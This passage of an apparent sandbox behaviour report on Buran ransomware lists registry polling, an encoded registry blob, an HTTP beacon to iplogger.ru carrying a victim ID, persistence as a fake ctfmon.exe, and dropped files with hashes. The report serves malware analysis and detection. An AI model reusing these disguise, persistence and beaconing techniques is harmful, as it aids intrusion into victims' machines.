3egTiXhSc7Cp5n54P5E+6NXba78sYosTd2Qwo5f78XMv7uR+okTAtlKUTOdU0eiKaFvqRUbpjpdN1m2eX5UQhJWuMFsTt8I591TfeVu2HRSrF/fXQ4/v78QrXJX+0ehOLGl3/pvkPLZDtoXJGWsWxfgEMtjgfWEUOaSlq4ETN2h2BOmn5jmzt1CXJY6b/WzVstgmmjS26wU7rh3xoXHspT6OMBtNKPDT2Uz8VKbTE+wIIMJepD0c+dJYCLKiwC3HM5Cr6WjQV/Zy33Oq4ESSrK0xjsk0VccUzyJ4j4GqueS569xa/MZJwLLPgG04RVojeYdeRD2oC63D9LCRSWicGjHSnbKL3SjgAtUyw+XtJV5y7WT5Ykfh1oz1o+BMNua+30UFwWqQpXx5ClVF2cCKd+CiT3l1+BjEwnSeRy15+R+A41LQFOR2t8ruYYu3DYfzEQVsSq99DRaZDtPd7qdiMzGXFCAXEwPHXoUfXT3XqJXJH2PoYfYdyByoJFuxMrQ+a7gpmbK9R8jJuIiU9lLZi8dVdrML5iFk8PkNb2NXR4LyeFlRxhGekm4mrQIjTTU4Fmwt6ifiryoYUcOsb20Bl6vOPAHUYNyAM7DpdGqcwyQT2uPjbGt71m5C3mn7cMC8fUm4SjWXeFAT5wgfeoZcnLwZBmEF8UkwcrCR8MnRXojshimKqmZzlQjvPHV3iEg2Rzj1x+D4u1pR99Wu7q0cmeCFr2FovCQZgMYxJ/onFVTZPy8e2KQ==, size = 1737, type = REG_SZ	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Knock, type = REG_NONE	1	Fn
Inet	Open Session	access_type = INTERNET_OPEN_TYPE_PRECONFIG	1	Fn
Inet	Open Connection	protocol = HTTP, server_name = iplogger.ru, server_port = 80	1	Fn
Inet	Open HTTP Request	http_verb = GET, http_version = HTTP 1.1, target_resource = http://iplogger.info/1jqu87.html, accept_types = 0, flags = INTERNET_FLAG_IDN_DIRECT, INTERNET_FLAG_IDN_PROXY	1	Fn
Inet	Add HTTP Request Headers	headers = Host: iplogger.ru User-Agent: BURAN Referer: E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
Inet	Send HTTP Request	headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = iplogger.ru/http://iplogger.info/1jqu87.html	1	Fn

Thread 0x49c

343

Category	Operation	Information	Count	Logfile
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
System	Sleep	duration = 0 milliseconds (0.000 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn

Process #7: ctfmon.exe

22414

Information	Value
ID	#7
File Name	c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe
Command Line	"C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:03:01, Reason: Autostart
Unmonitor	End Time: 00:04:51, Reason: Terminated by Timeout
Monitor Duration	00:01:49

OS Process Information

Information	Value
PID	0xd34
Parent PID	0xa18 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeCreateGlobalPrivilege
Thread IDs	0x D38 0x D5C 0x D60 0x D64 0x D74 0x D78 0x D80 0x D84 0x D8C 0x DAC 0x DB0 0x DB4 0x E04

Memory Dumps

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
ctfmon.exe	0x00400000	0x00439FFF	Relevant Image	-	32-bit	-			... Region Actions Download Dump

Dropped Files

Filename	File Size	Hash Values	Actions
C:\Users\FD1HVy\Desktop\-IU8WGmE.avi	41.10 KB	MD5: 92f846b85c667a5e210d1427f1acbd3c SHA1: ae3f8b3dbfd2e4143a27af11861ffb4e0e7fefe0 SHA256: b51f766d64bba6bc6de190d0e19a4410e7d70ff0f979e6ea15db471f51264e2d SSDeep: 768:k7/9TMGf4wnGLvX7OYCy0AN8YL6n3i55AUwLR8HioCidDPepSS00jnr8u:kxMRLKYCytN8liEf18HiYDOSS00jr8u	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\0 HFSllE7M55ZM.flv	100.67 KB	MD5: 4d4f2faeb719f09678b9b52e8a239388 SHA1: ca809224ffa4380fbd081499459609b501d45874 SHA256: 0eee1f10c775846c5336f18d3fa22a58cc55307ba0fbde333b7588fa9febcd2c SSDeep: 3072:n6lJ0JXLfOhBC+0MgkdpL9Ori0O1xWhxx:6leJWrnfL0xO1Ml	... File Actions Show Properties Download
